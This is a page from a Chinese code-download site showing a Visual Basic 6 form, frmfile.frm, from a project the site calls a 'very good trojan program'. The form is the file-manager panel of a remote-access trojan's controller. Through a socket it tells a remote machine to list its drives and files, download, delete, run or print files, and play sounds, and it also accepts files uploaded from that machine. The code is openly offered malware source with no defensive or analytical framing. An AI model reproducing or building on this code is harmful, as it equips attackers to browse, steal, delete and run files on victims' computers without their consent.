⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 frmfile.frm

📁 风暴木马非常好的木马程序
💻 FRM
📖 第 1 页 / 共 2 页
字号:
            Italic          =   0   'False
            Strikethrough   =   0   'False
         EndProperty
         ForeColor       =   &H00FFFFFF&
         Height          =   255
         Left            =   130
         TabIndex        =   23
         Top             =   4240
         Width           =   2390
      End
   End
   Begin VB.Label cmdX 
      Alignment       =   2  'Center
      BackColor       =   &H00FF8080&
      Caption         =   "X"
      BeginProperty Font 
         Name            =   "OCR A Extended"
         Size            =   9.75
         Charset         =   0
         Weight          =   700
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      ForeColor       =   &H00FFFFFF&
      Height          =   195
      Left            =   3600
      TabIndex        =   20
      ToolTipText     =   "Close"
      Top             =   15
      Width           =   240
   End
   Begin VB.Label title 
      Alignment       =   2  'Center
      Appearance      =   0  'Flat
      BackColor       =   &H00FF8080&
      BorderStyle     =   1  'Fixed Single
      Caption         =   "file manager"
      BeginProperty Font 
         Name            =   "OCR A Extended"
         Size            =   9
         Charset         =   0
         Weight          =   400
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      ForeColor       =   &H00FFFFFF&
      Height          =   225
      Left            =   0
      TabIndex        =   21
      Top             =   0
      Width           =   3855
   End
End
Attribute VB_Name = "frmFile"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Dim FirstX, FirstY As Integer
Dim Total

Private Sub File_ConnectionRequest(ByVal requestID As Long)
File.Close
File.Accept requestID
End Sub

Private Sub File_DataArrival(ByVal bytesTotal As Long)
Dim dat$, a
Dim thedata As String
File.GetData dat$
DoEvents
a = InStr(1, dat$, ",")
If a > 0 Then
a = Mid(dat$, 1, a - 1)
End If
If a = "File" Then
    a = InStr(1, dat$, ",")
    a = a + 1
    a = Mid(dat$, a, Len(dat$) - a + 1)
    Open App.Path & "\" & a For Binary As #1
    File.SendData "ok"
    Exit Sub
    End If
If Cmd(0) = "CLOSE" Then
    Close #1
    DoEvents
    frmMain.Status.Caption = "received file..."
    Exit Sub
    End If


Put #1, , dat$
File.SendData "ok"
Total = Total + bytesTotal
frmMain.Status.Caption = "received " & Total & " bytes..."
End Sub

Private Sub lblc_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
lblc.BackColor = &HFFC0C0
End Sub

Private Sub lblc_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
On Error Resume Next
If frmMain.WS.State = 0 Then
frmMain.Status.Caption = "you're not connected!..."
Else
frmMain.tmrright.Enabled = True
txtpath.Text = "c:\"
frmMain.WS.SendData "Files;" & txtpath.Text
frmMain.Status.Caption = "opening c: drive..."
End If
End Sub

Private Sub lbldelete_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
On Error Resume Next
If frmMain.WS.State = 0 Then
frmMain.Status.Caption = "you're not connected!..."
End If
If listfilemgr.Text = "" Then
frmMain.Status.Caption = "select a file to delete..."
End If
i = Len(txtpath.Text)
If Mid(txtpath.Text, i, 1) = "\" Then
frmMain.Status.Caption = "select a file to delete..."
Else
frmMain.tmrright.Enabled = True
frmMain.WS.SendData "DeleteFile;" & txtpath.Text
frmMain.Status.Caption = "deleting " & "[" & listfilemgr.Text & "]"
End If
End Sub

Private Sub lbldownload_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
On Error Resume Next
If frmMain.WS.State = 0 Then
frmMain.Status.Caption = "you're not connected!..."
Else
frmMain.tmrright.Enabled = True
frmMain.WS.SendData "Download;" & txtpath.Text
frmMain.Status.Caption = "downloading " & listfilemgr.Text & "..."
End If
End Sub

Private Sub lblfileprint_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
On Error Resume Next
If frmMain.WS.State = 0 Then
frmMain.Status.Caption = "you're not connected!..."
End If
If listfilemgr.Text = "" Then
frmMain.Status.Caption = "select a file to print..."
End If
i = Len(txtpath.Text)
If Mid(txtpath.Text, i, 1) = "\" Then
frmMain.Status.Caption = "select a file to print..."
ElseIf Right(txtpath.Text, 4) = ".txt" Or Right(txtpath.Text, 4) = ".ini" Or Right(txtpath.Text, 4) = ".jpg" Or Right(txtpath.Text, 4) = ".bmp" Then
frmMain.tmrright.Enabled = True
frmMain.WS.SendData "FilePrint;" & txtpath.Text
frmMain.Status.Caption = "printing " & "[" & listfilemgr.Text & "]..."
Else
frmMain.Status.Caption = "select a file to print..."
End If
End Sub

Private Sub lblfilerun_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
On Error Resume Next
If frmMain.WS.State = 0 Then
frmMain.Status.Caption = "you're not connected!..."
End If
If listfilemgr.Text = "" Then
frmMain.Status.Caption = "select a file to run..."
End If
i = Len(txtpath.Text)
If Mid(txtpath.Text, i, 1) = "\" Then
frmMain.Status.Caption = "select a file to run..."
Else
frmMain.tmrright.Enabled = True
frmMain.WS.SendData "RunFile;" & txtpath.Text
frmMain.Status.Caption = "running " & "[" & listfilemgr.Text & "]"
End If
End Sub

Private Sub lblgetdrive_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
lblrefreshdrive.BackColor = &H8
lblc.BackColor = &H8
lblfilerun.BackColor = &H8
lbldownload.BackColor = &H8
lblupload.BackColor = &H8
lbldelete.BackColor = &H8
lblplay.BackColor = &H8
lblfileprint.BackColor = &H8
lblgetdrive.BackColor = &H800000
End Sub

Private Sub lblgetdrive_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
lblgetdrive.BackColor = &HFFC0C0
End Sub

Private Sub lblfilerun_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
lblrefreshdrive.BackColor = &H8
lblgetdrive.BackColor = &H8
lblc.BackColor = &H8
lbldownload.BackColor = &H8
lblupload.BackColor = &H8
lbldelete.BackColor = &H8
lblplay.BackColor = &H8
lblfileprint.BackColor = &H8
lblfilerun.BackColor = &H800000
End Sub

Private Sub lblfilerun_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
lblfilerun.BackColor = &HFFC0C0
End Sub

Private Sub lbldownload_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
lblrefreshdrive.BackColor = &H8
lblgetdrive.BackColor = &H8
lblfilerun.BackColor = &H8
lblc.BackColor = &H8
lblupload.BackColor = &H8
lbldelete.BackColor = &H8
lblplay.BackColor = &H8
lblfileprint.BackColor = &H8
lbldownload.BackColor = &H800000
End Sub

Private Sub lbldownload_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
lbldownload.BackColor = &HFFC0C0
End Sub

Private Sub lblgetdrive_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
On Error Resume Next
If frmMain.WS.State = 0 Then
frmMain.Status.Caption = "you're not connected!..."
Else
frmMain.tmrright.Enabled = True
frmMain.WS.SendData "GetDrives"
frmMain.Status.Caption = "getting drives..."
End If
End Sub

Private Sub lblplay_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
On Error Resume Next
If frmMain.WS.State = 0 Then
frmMain.Status.Caption = "you're not connected!..."
End If
If listfilemgr.Text = "" Then
frmMain.Status.Caption = "select a wav to play..."
End If
i = Len(txtpath.Text)
If Mid(txtpath.Text, i, 1) = "\" Then
frmMain.Status.Caption = "select a wav to play..."
ElseIf Right(txtpath.Text, 4) <> ".wav" Then
frmMain.Status.Caption = "select a wav to play..."
Else
frmMain.tmrright.Enabled = True
frmMain.WS.SendData "PlayWav;" & txtpath.Text
frmMain.Status.Caption = "playing wav..."
End If

End Sub

Private Sub lblrefreshdrive_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
On Error Resume Next
If frmMain.WS.State = 0 Then
frmMain.Status.Caption = "you're not connected!..."
Else
frmMain.tmrright.Enabled = True
frmMain.WS.SendData "Files;" & txtpath.Text
frmMain.Status.Caption = "refreshing drives..."
End If
End Sub

Private Sub lblupload_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
lblrefreshdrive.BackColor = &H8
lblgetdrive.BackColor = &H8
lblfilerun.BackColor = &H8
lbldownload.BackColor = &H8
lblc.BackColor = &H8
lbldelete.BackColor = &H8
lblplay.BackColor = &H8
lblfileprint.BackColor = &H8
lblupload.BackColor = &H800000
End Sub

Private Sub lblupload_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
lblupload.BackColor = &HFFC0C0
End Sub

Private Sub lbldelete_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
lblrefreshdrive.BackColor = &H8
lblgetdrive.BackColor = &H8
lblfilerun.BackColor = &H8
lbldownload.BackColor = &H8
lblupload.BackColor = &H8
lblc.BackColor = &H8
lblplay.BackColor = &H8
lblfileprint.BackColor = &H8
lbldelete.BackColor = &H800000
End Sub

Private Sub lbldelete_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
lbldelete.BackColor = &HFFC0C0
End Sub

Private Sub lblplay_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
lblrefreshdrive.BackColor = &H8
lblgetdrive.BackColor = &H8
lblfilerun.BackColor = &H8
lbldownload.BackColor = &H8
lblupload.BackColor = &H8
lbldelete.BackColor = &H8
lblc.BackColor = &H8
lblfileprint.BackColor = &H8
lblplay.BackColor = &H800000
End Sub

Private Sub lblplay_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
lblplay.BackColor = &HFFC0C0
End Sub

Private Sub lblfileprint_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
lblrefreshdrive.BackColor = &H8
lblgetdrive.BackColor = &H8
lblfilerun.BackColor = &H8
lbldownload.BackColor = &H8
lblupload.BackColor = &H8
lbldelete.BackColor = &H8
lblplay.BackColor = &H8
lblc.BackColor = &H8
lblfileprint.BackColor = &H800000
End Sub

Private Sub lblC_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
lblrefreshdrive.BackColor = &H8
lblgetdrive.BackColor = &H8
lblfilerun.BackColor = &H8
lbldownload.BackColor = &H8
lblupload.BackColor = &H8
lbldelete.BackColor = &H8
lblplay.BackColor = &H8
lblfileprint.BackColor = &H8
lblc.BackColor = &H800000
End Sub


Private Sub lblfileprint_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
lblfileprint.BackColor = &HFFC0C0
End Sub

Private Sub lblrefreshdrive_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
lblc.BackColor = &H8
lblgetdrive.BackColor = &H8
lblfilerun.BackColor = &H8
lbldownload.BackColor = &H8
lblupload.BackColor = &H8
lbldelete.BackColor = &H8
lblplay.BackColor = &H8
lblfileprint.BackColor = &H8
lblrefreshdrive.BackColor = &H800000
End Sub

Private Sub lblrefreshdrive_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
lblrefreshdrive.BackColor = &HFFC0C0
End Sub

Private Sub listfilemgr_Click()
Dim dir As String
If listfilemgr.List(listfilemgr.ListIndex) = ".." Then
    Exit Sub
End If
If Mid(listfilemgr.List(listfilemgr.ListIndex), 2, 1) = ":" Then
    txtpath.Text = listfilemgr.List(listfilemgr.ListIndex)
    dir = listfilemgr.List(listfilemgr.ListIndex)
End If
End Sub

Private Sub listfilemgr_DblClick()
Dim dir As String
If listfilemgr.List(listfilemgr.ListIndex) = ".." Then
    For i = Len(txtpath.Text) - 1 To 1 Step -1
        If Mid(txtpath.Text, i, 1) = "\" Then
            txtpath.Text = Mid(txtpath.Text, 1, i)
            frmMain.WS.SendData "Files;" & txtpath.Text
            Exit Sub
        End If
    Next i
    Exit Sub
End If
If Mid(listfilemgr.List(listfilemgr.ListIndex), 2, 1) = ":" Then
    txtpath.Text = listfilemgr.List(listfilemgr.ListIndex)
    dir = listfilemgr.List(listfilemgr.ListIndex)
End If
frmMain.WS.SendData "Files;" & txtpath.Text
End Sub

Private Sub listfilemgr_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
lblrefreshdrive.BackColor = &H8
lblgetdrive.BackColor = &H8
lblfilerun.BackColor = &H8
lbldownload.BackColor = &H8
lblupload.BackColor = &H8
lbldelete.BackColor = &H8
lblplay.BackColor = &H8
lblfileprint.BackColor = &H8
lblc.BackColor = &H8
End Sub

Private Sub picfilemngr_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
lblrefreshdrive.BackColor = &H8
lblgetdrive.BackColor = &H8
lblfilerun.BackColor = &H8
lbldownload.BackColor = &H8
lblupload.BackColor = &H8
lbldelete.BackColor = &H8
lblplay.BackColor = &H8
lblfileprint.BackColor = &H8
lblc.BackColor = &H8
End Sub

Private Sub cmdX_Click()
Unload Me
End Sub

Private Sub cmdX_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
cmdX.ForeColor = &HC00000
End Sub

Private Sub title_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
If Button = vbLeftButton Then
    FirstX = X
    FirstY = Y
End If
End Sub

Private Sub title_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
If Button = vbLeftButton Then
    Me.Left = Me.Left + (X - FirstX)
    Me.Top = Me.Top + (Y - FirstY)
End If
cmdX.BackColor = &HFF8080
End Sub

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -